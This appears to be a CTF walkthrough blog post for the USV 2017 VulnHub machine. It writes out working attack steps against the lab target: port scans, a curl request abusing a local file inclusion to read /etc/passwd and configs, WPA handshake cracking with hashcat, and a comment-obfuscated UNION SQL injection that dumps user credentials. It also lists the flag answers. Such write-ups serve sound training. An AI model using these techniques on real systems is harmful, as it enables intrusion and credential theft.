USV 2017 CTF walkthrough

In this post I’ll present a walkthrough on the methods I used for the vulnhub VM which presents the  USV 2017 CTF competition, which is held each year in Suceava University, created by Oana Stoian and Teodor Lupan from Safetech Innovations (Bucharest, RO) For all the flags except Italy I didnt require any hints. For Italy and Laos I requested a hint from Oana (I decoded the javascript myself and the sql injection query myself, but she pointed me to where to look for the javascript and where to start for the Laos flag).
arp-scan -localnet
IP: 192.168.1.133
So let’s begin. As usual, the first step would be to discover the IP of the VM and run a tcp scan. The IP of the target in this case is 192.168.1.133
  1. Port scan and Service Enumeration
As usual I just run a top 1000 ports scan using nmap, and while enumerating the discovered services I run a full range TCP port scan. Of course in a local environment such as a VM running on the same box and sharing the same network resources the full range scan completes fast enough so I’ll just go with it in this post:
nmap -O -sT -sV -p- 192.168.1.133
Running a full-range TCP port scan on target CTFUSV (192.168.1.133)
Afterwards, a UDP port scan on all the ports using unicornscan:
# unicornscan -m U 192.168.1.133:a -v
While waiting for the UDP scan to complete I enumerated the ftp and ssh daemons, trying some anonymous login credentials and the ftp daemon and enumerating the ssh banner. So far the target doesnt allow any anonymous ftp logins and is supposedly running a Debian 9 Stretch release (googling for “Debian 10+deb9u1” provides the following result: https://packages.debian.org/stretch/ssh showing the exact same version of the package from the ssh banner). As the unicornscan still hasnt completed its scan I took a peek at the web server runing on ports 80 and 15020  (ssl) and connected to each TCP port separately via nc. The apache web server didnt disclose its version, and botht the server on port 80 and 15020 didnt seem to have a robots.txt or a sitemap.xml file. So I went for the ssl server first and ran dirbuster using its smallest list to discover any possible folders. While waiting for the file/folder discovery to complete I looked for any possible exploits on the ftp and the ssh daemons. The ssh daemon is pretty updated and I knew that there wouldn’t be anything that could be of use (checked anyway) and the ftp server version was a close match to this exploit: https://www.exploit-db.com/exploits/36803/ so I saved it for later review (wasnt of much use anyway as enumerating it further at a later stage showed the server didnt allow running the site command without a valid login) The front page on port 80 of the web server looks as following: And the one on port 15020 similarly: The source of both pages didnt show any hidden data that could be used further. Both pages were just a simple CSS animation altering the “CTF-USV 2017” string with “safetech” and showing an image of the lovely minions. The headless version of dirbuster seems to cause issues, and I usually go for the GUI of dirbuster but for the present screenshots I use dirb with its common wordlist (which is a bit smaller and IMO less effective but for basic and more common related directory names seems to work a lot faster). Both of these commands would do the job: # dirb https://192.168.1.133:15020/ (dirb with its deefault common list) # dirb https://192.168.1.133:15020/ /usr/share/dirbuster/wordlists/directory-list-2.3-small.txt (dirb with the dirbuster’s wordlists – it may report more findings but you’d wait a few minutes more which is not effective in this case)
dirb https://192.168.1.133:15020/
Discovering the /vault/ and /blog/ directories on target CTFUSV
The following important directories were found: /blog/ – a custom made blog, with a link pointing to an /admin login panel which uses the securimage php library. /vault/ – a directory with tons of subdirectories and directory listing, which I tried to browse manually during my initial enumeration, which is a mission impossible, and having in mind this VM was from a competition which has a deadline, you have to look for an approach which has to prove both efficient and time effective. I reviewed the source of the /blog/ directory to see if there’s anything useful, read all the blog posts carefully, and clicked to each post link to see a detailed post, which points to /post.php which is not present in the parent server directory so it has to be manually changed to /blog/post.php. The blog post which had one comment had something interesting in it left as a comment:
Noticing an interesting comment within the /blog/ directory – I keep a flat.txt in my house
I keep a flag.txt in my house
So I wrote this down in my notes, as well as the following names which represent the minions’ names as a possible list of usernames: Kevin Stuart Bob Jerry Phil Dave The source of the blog had the following commented html code pointing to the download.php file:
Noticing an html comment pointing to a download.php file, which proves to be prone to an LFI attack
<!– <li> <a href=”download.php”>Download</a> </li> –> which was the start of getting the first flag file I found as will be shown below. Requesting the download.php file returned the following response:
Requesting the recently discovered download.php from the browser
The file seems to wait for an “image” paramater. Parsing it via a GET request didnt do anything:
https://192.168.1.133:15020/blog/download.php?image=/etc/passwd
So the next obvious step is to try using a POST request:
curl -d ‘image=/etc/passwd’ -i https://192.168.1.133:15020/blog/download.php -k
The download.php file is prone to an LFI attack – showing the contents of /etc/passwd 2. Finding flags and connecting dots Flag of Croatia:

Location: /home/kevin/flag.txt

MD5: e4d49769b40647eddda2fe3041b9564c

# curl -d “image=/home/kevin/flag.txt” https://192.168.1.133:15020/blog/download.php –insecure As there was a comment left regarding kevin keeping a flag.txt in his house and the /etc/passwd file showed that there is a user with username “kevin” on the target box, I tried placing the following request via curl:
CTFUSV 2017: Croatia flag e4d49769b40647eddda2fe3041b9564c
Flag of Phillippines: Location: /var/www/ssl/blog/admin/index.php MD5: 551d3350f100afc6fac0e4b48d44d380 # curl -d “image=/var/www/ssl/blog/admin/index.php” https://192.168.1.133:15020/blog/download.php –insecure Browsing through the configuration files on the server the following requests were useful, disclosing the documentroot of the web server on both ports 80 and 15020: # curl -d “image=/etc/apache2/apache2.conf” https://192.168.1.133:15020/blog/download.php –insecure curl -d “image=/etc/apache2/sites-available/default-ssl.conf” https://192.168.1.133:15020/blog/download.php –insecure -> DocumentRoot /var/www/ssl curl -d “image=/etc/apache2/sites-available/000-default.conf” https://192.168.1.133:15020/blog/download.php –insecure -> DocumentRoot /var/www/html curl -d “image=/etc/apache2/envvars” https://192.168.1.133:15020/blog/download.php –insecure So after discovering on which directory the target web server is configured to run, I downloaded the whole /blog/ source codes and reviewed them. The flag for Phillippines was located in one of the files:
Discovering the flag for Phillippines using the LFI
Phillippines: 551d3350f100afc6fac0e4b48d44d380
There is also another approach to reaching this flag, which is related to obtaining the admin credentials and just seeing the file contents from the web (explained below). It’s a bit tricky as it’s shown as in the color in the background so you have to either hit ctrl+A to get it marked or view the source code of the admin/ index.html file. Trying to bring this LFI to an RCE was a total waste of time using varous techniques and numerous methods I tried to take advantage of, so I moved on and trying several default logins as “admin : admin” and “kevin : admin” on the login page located at /blog/admin/login.php. As already mentioned earlier, browsing through the /vault/ directory doesnt seem like a good idea, and as it has directory listing running a directory discovery tool on it like dirbuster or dirb would be a slow approach, I thought of downloading the whole directory tree and running a filter to check for any files in it, for which I used wget and find. I used the following commands to find anything hidden within the /vault/ directory: # wget -r -R ‘=D,=A,=S’ -nH –page-requisites –no-check-certificate https://192.168.1.133:15020/vault/ -q # find ./vault -type f | grep -v .html
wget -r -R '=D,=A,=S' -nH --page-requisites --no-check-certificate https://192.168.1.133:15020/vault/ -q; find ./vault -type f | grep -v .html
Important files within the /vault/ directory: ctf.cap and rockyou.zip
So there’s a .cap file and a rockyou.zip file containing the famous rockyou.txt wordlist. First thing I did was to check whether this is the same rockyou.txt wordlist as originally delivered with the Kali distribution, and if there’s any difference between this one.
# unzip ./vault/Door223/Vault1/rockyou.zip -d .
Unzipping the rockyou.txt file that resides within the /vault/ directory on target
# diff rockyou.txt /usr/share/wordlists/rockyou.txt
Checking the rockyou.txt file for any differences from the original rockyou.txt wordlist that comes with Kali
So the diff command returned the value 4244a4245 as a difference, which I am not sure what exactly is as it does not seem to be an actual string and trying to grep it within the original file didn’t return anything nor did it return any corresponding value of a valid ASCII string but I wrote it down anyways. The next thing was to analyze the ctf.cap file.I used tcpdump for this, but pyrit does a nice job for analyzing files containing handshakes as well)
# tcpdump -r ./vault/Door222/Vault70/ctf.cap
Analyzing the contents of ctf.cap using tcpdump
# pyrit -r ./vault/Door222/Vault70/ctf.cap analyze
Analyzing the contents of ctf.cap using pyrit (reporting a valid handshake on a wireless network named “CTFUSV”)
So this is a capture file from a wireless network named “CTFUSV“, and a wordlist file – from here anyone into penetration testing should be able to do the math. I run this file through hashcat using the wordlist from the server which found the password in just a few minutes, which is as following: minion.666
# cap2hccapx ./vault/Door222/Vault70/ctf.cap ctf.hccapx
Converting the .cap file to a hashcat valuable format
# hashcat -m 2500 -a 0 ctf.hccapx rockyou.txt
Running hashcat on the recently found .cap file once converted
# hashcat -m 2500 -a 0 ctf.hccapx rockyou.txt
Running hashcat – discovering a password for the CTFUSV wireless network – USV2017 CTF
The first thing that I tried after cracking the password was to login to the target box using username “kevin”, however this didn’t seem to work. I tried all the other usernames on the system as well using the minion.666 password that was just cracked, and none of them seemd to work. The next thing was to try it on the admin panel using usernames “admin” and “kevin”: (I was actually typing minions.666 for about half an hour during my attempts wondering where that could make any use of, so lesson learned for me to be careful with the letters and small details)
Logging in to the admin panel located at /blog/admin/index.php - USV 2017 CTF
Logging in to https://192.168.1.133:15020/blog/admin/index.php
Logging in to the admin panel located at /blog/admin/index.php - USV 2017 CTF
Logging in to https://192.168.1.133:15020/blog/admin/index.php
And here’s the second way to find the flag for Phillippines, just click ctrl+A or view the source code (if you are using chrome you’ll find yourself in a bit of a trouble doing so, +1 once again for firefox along with another inconvenience you’ll find during this CTF as it requires to enable the option to view the certificate details explicitly (huh?) ).
Phillippines - 551d3350f100afc6fac0e4b48d44d380 - USV 2017 CTF
USV 2017 CTF flag: Phillippines – 551d3350f100afc6fac0e4b48d44d380
As you can see from the screenshots I tried bringing the LFI into an RCE, however when I was into the CTF I have been reviewing the source code of the blog for more than a day trying different things but the htmlentities function was placed in every possible place that you could take advantage of and inject a php code.  So when the blog outputs the code < becomes &lt; and > becomes &gt; so I could not find a way to make it evaluate and parse the code I injected into php. This is also the place to mention that the links to write/edit a post have their functionality disabled within the php code, so in order to write a new post you have to alter some variables within the new post page. Source code of the /blog/admin/new.php file: and the form action from
<?php 
 require("../classes/auth.php");
 require("header.php");
require("../classes/fix_mysql.php");
 require("../classes/db.php");
 require("../classes/phpfix.php");
 require("../classes/post.php");
?>

<form action="" method="POST" enctype="multipart/form-data">
 Title: <input type="text" name="tit" /><br/>
 Text: <textarea name="tt" cols="80" rows="5">
 </textarea><br/>

<input type="submit" name="Add" value="Add">

</form>

<?php
 require("footer.php");

?>
and a snippet from the source code of  /blog/admin/index.php file:
 if(isset($_POST['title'])){
 Post::create();
 }
So in order to write a new post, you have to either send a request through curl or alter the variables “tit” to “title” and “tt” to “text” via the form inspector, as well as the form action to target the index.php file. Anyway writing to a file does not achieve anything in this case as the target lacks the additional resources required to reach the code to be evaluated through the php parser. By reviewing the blog source files in details the following interesting thing can be noticed: /blog/admin/edit.php, line 10
$sql = strtolower($_GET['id']);
 $sql = preg_replace("/union select|union all select|sleep|having|count|concat|and user|and isnull/", " ", $sql);
$post = Post::find($sql);
// if (isset($_POST['title'])) {
// $post->update($_POST['title'], $_POST['text']);
// }
/blog/classes/post.php, line 109
 function find($id) {
 $result = mysql_query("SELECT * FROM posts where id=".$id);
 $row = mysql_fetch_assoc($result); 
 if (isset($row)){
 $post = new Post($row['id'],$row['title'],$row['text'],$row['published']);
 }
 return $post;
 
 }
(the latter is an unfiltered SQL query) Getting the flag for Laos So what happens above is that in the edit.php file the find method is called passing an sql query formed from the $_GET[‘id’] variable which replaces commonly used queries for SQL injection. Afterwards, the find method from the Post class itself doesnt filter the $id parameter in any way. So if someone were to pass a proper $id parameter to the find() method he or she could extend the query and form an SQL injection attack. Testing for SQL Injection remotely: I used the following query to test for an SQL injection: after clicking on the “Edit” link on one of the posts, you are being redirected to the post.php file with the id of the post passed as a GET parameter. So clicking on the second link titled “Impression” takes you to a url similar to the following: https://192.168.1.133:15020/blog/admin/edit.php?id=2 From the php source code of the blog you could conclude that there are (most likely)
  • 4 fields within the post table – id, title, text, published
/blog/classes/post.php
  • at least 2 fields within the users table – login, password
/blog/classes/user.php
There might be a better way to do this, but here was my approach:
  1. Extending the query with an “order by X” clase, incrementing X each time . As there isn’t anything error output present from the scripts, a successful query would mean that an output is shown from the script, and vice-versa. So once there’s no any output from the script, the mysql query has either invalid syntax or a wrong column count. So the queries go like this:
https://192.168.1.133:15020/blog/admin/edit.php?id=2 order by 1 – output is shown https://192.168.1.133:15020/blog/admin/edit.php?id=2 order by 2 – output is shown … order by 3 – output is shown … order by 4 – output is shown https://192.168.1.133:15020/blog/admin/edit.php?id=2 order by 5 – no output So the query executes successfully until we try to order by a wrong column count, which means there are 4 fields within the table. 2. Bypassing the preg_replace queries. There’s a nice article on how to bypass a WAF (states for Web Application Firewall) like this on the owasp website: https://www.owasp.org/index.php/SQL_Injection_Bypassing_WAF 3. Injecting a union request and extending the query: I’ve tried many different things until I reach the correct query: https://192.168.1.133:15020/blog/admin/edit.php?id=2/*union*/union/*all*/all/*select*/select 1,2,3,4 – this one returns the usual value of the fields https://192.168.1.133:15020/blog/admin/edit.php?id=2/*union*/union/*all*/all/*select*/select 1,2,3,4 order by 1 – this is the first successful query, substituting the values of the title and the description with 2 and 3. From this point 2,3 have to be switched to something that could be of use. https://192.168.1.133:15020/blog/admin/edit.php?id=2/*union*/union/*all*/all/*select*/select 1,@@version,@@version,4 order by 1 – confirming the sql injection is successful. and the thing that you have to pay attention to here is that the edit.php file outputs just 1 row, so in order to get the result from a particular query which may return multiple rows, you have to adjust to order of what mysql returns and limit the result to show just one row: https://192.168.1.133:15020/blog/admin/edit.php?id=7/*union*/union/*all*/all/*select*/select%201,2,table_name,4%20from%20information_schema.tables%20order%20by%201%20limit%200,1 https://192.168.1.133:15020/blog/admin/edit.php?id=7/*union*/union/*all*/all/*select*/select%201,2,table_name,4%20from%20information_schema.tables%20order%20by%201%20limit%201,1 Incremeting the first numer at the end would enumerate all possible tables and output them in the “description” field. So there are two tables that we could use for something in this case – posts and users, as the tables going from 2 and above are the system mysql tables. Extracting the  users from the users tables goes like this: https://192.168.1.133:15020/blog/admin/edit.php?id=7/*union*/union/*all*/all/*select*/select%201,login,password,4%20from%20users%20order%20by%201%20limit%200,1 – this would show the login and password of the first row, which is “admin” and the md5 hash of the “minion.666” password As the mysql LIMIT syntax is as following: [LIMIT {[offset,] row_count | row_count OFFSET offset}] what’s at the end is actually the row offset (0 for the first row) and the row count (we want to output just 1 row, as the php script outputs nothing more than a single row) – so 0,1 means that the query would start from the first row and limit the result to one rows what we are looking for is any additional users and passwords that reside within the database and may be used  in any other place : https://192.168.1.133:15020/blog/admin/edit.php?id=7/*union*/union/*all*/all/*select*/select%201,login,password,4%20from%20users%20order%20by%201%20limit%201,1 – showing the login and password columns on second row in the users directory, which is actually the flag for Laos:
/blog/admin/edit.php?id=7/*union*/union/*all*/all/*select*/select%201,login,password,4%20from%20users%20order%20by%201%20limit%201,1
Flag for Laos – 66c578605c1c63db9e8f0aba923d0c12 – CTFUSV 2017 CTF
Incrementing the value to 3 outputs the values of the edited post so there are just 2 records in the users table – “admin” and “Laos”. I also ran the hash for Laos through hashcat to see if it would provide any password that may be used on the system, however it couldnt be cracked. Flag of Laos: Location: Second user from the MySQL “users” table, mysql injection query: https://192.168.1.133:15020/blog/admin/edit.php?id=7/*union*/union/*all*/all/*select*/select%201,login,password,4%20from%20users%20order%20by%201%20limit%201,1 MD5: 66c578605c1c63db9e8f0aba923d0c12 Getting the Flag for Italy: At this point, even though I scanned the web target on port 80 initially, but I seem to have missed any important findings I requested some help from Oana regarding on where the flag for Italy resides (the place where it was located was actually one of the easiest to find). So on the target web server configured on port 80 there is an /admin2/ directory present, requiring a password which is actually checked through a javascript:
http://192.168.1.133/admin2/
A password prompt and an encoded javascript in the /admin2/ directory on port 80 – USV2017 CTF
So the easiest way to decode this is just mark it and hit the brackets at the bottom (if using chrome) to get a pretty print version of the code, or just use any online js beautifier. A more easy to read version would look as following:
http://192.168.1.133/admin2/ - Pretty Print of the encoded javascript
A readable version of the encoded javascript authorization script
Chrome isn’t actually doing pretty good with this, using an online prettifier would show that the _0xb252x4 is actually the “pass” variable passed by the form so the string
document[_0xeb5f[3]][_0xeb5f[2]][_0xeb5f[1]][_0xeb5f[0]];
is actually translated into:
document['forms']['password']['passinp']['value'];
So what we need to follow is the _0x252x4 variable:
 var _0xb252x4 = document[_0xeb5f[3]][_0xeb5f[2]][_0xeb5f[1]][_0xeb5f[0]];

...

 _0xb252x4 += 4469;
 _0xb252x4 -= 234562221224;
 _0xb252x4 *= 1988;

...

if (_0xb252x4 == 1079950212331060)
So what actually happens is the pass variable provided by the user is incremented with 4469 (or is it?), then the number 234562221224 is then substracted from it, and the result is multiplied by the number 1988. Then if the value of _0xb252x4 equals to 1079950212331060 (remember javascript comparsion logical operators? https://www.w3schools.com/js/js_comparisons.asp) it shows the md5 of the provided string itself. Greetings to safetech for this, it’s a smart trick  to do as this way you can’t decode the password by skipping the calculations. So if mathematically expressed, the equation would look as following: ((pass + 4469) – 234562221224) * 1988 = 1079950212331060 ((pass + 4469) = (1079950212331060 / 1988) + 234562221224 pass = 777796734469 Now here’s the tricky part – as initially the “pass” variable was a string, javascript usually concatenates “pass” to “4469” so if you substract the number 4469 and enter the 777796730000 you’ll still get a wrong password result. What you actually need to do is to consider the value 777796734469 as a string and remove the string “4469” from it instead of substracting it. That results in the following number: 77779673. (Or you could just substract 4469 and get the number 777796730000, from which then you may think of omitting the zeros, like I did initially and wondered what actually happened) Flag for Italy:  Location: http://192.168.1.133/admin2/ – encoded javascript comparsion MD5: 46202df2ae6c46db8efc0af148370a78
Flag for Italy - 46202df2ae6c46db8efc0af148370a78
Italy: 46202df2ae6c46db8efc0af148370a78 – USV2017 CTF
Getting the flag for France While working on this CTF a funny thing happened. There weren’t much places left to look at, so I got stuck into this. The Irony is that, the first thing that I actually did when enumerating the target ssl server was to check its certificate, and didn’t note anything interesting. So after thinking over this for more than a day, I decided to go over each thing that could be enumareted again and checked the web server certificate (In chrome, you have to enable the certificate details link manually by opening  chrome://flags/#show-cert-link  as it’s not shown by default)
USV2017 CTF - General Certificate details
USV2017 CTF – General Certificate details, the CN for the domain is an md5 value
Looking at the general details, you may miss that the Common Name (CN) of the certificate is actually an md5 hash.  However, going through the details makes it a bit more obvious and clears up things:
Certificate details on port 15020 - USV2017 CTF
Certificate details – CN = MD5 hash, O = CTF, L = Paris, ST = PARIS, C = FR – USV2017 CTF
Certificate details on port 15020 - USV2017 CTF
Certificate details – Paris, France – USV2017 CTF
Certificate details on port 15020 - USV2017 CTF
Flag for France:
Location: SSL Certificate, port 15020
MD5: a51f0eda836e4461c3316a2ec9dad743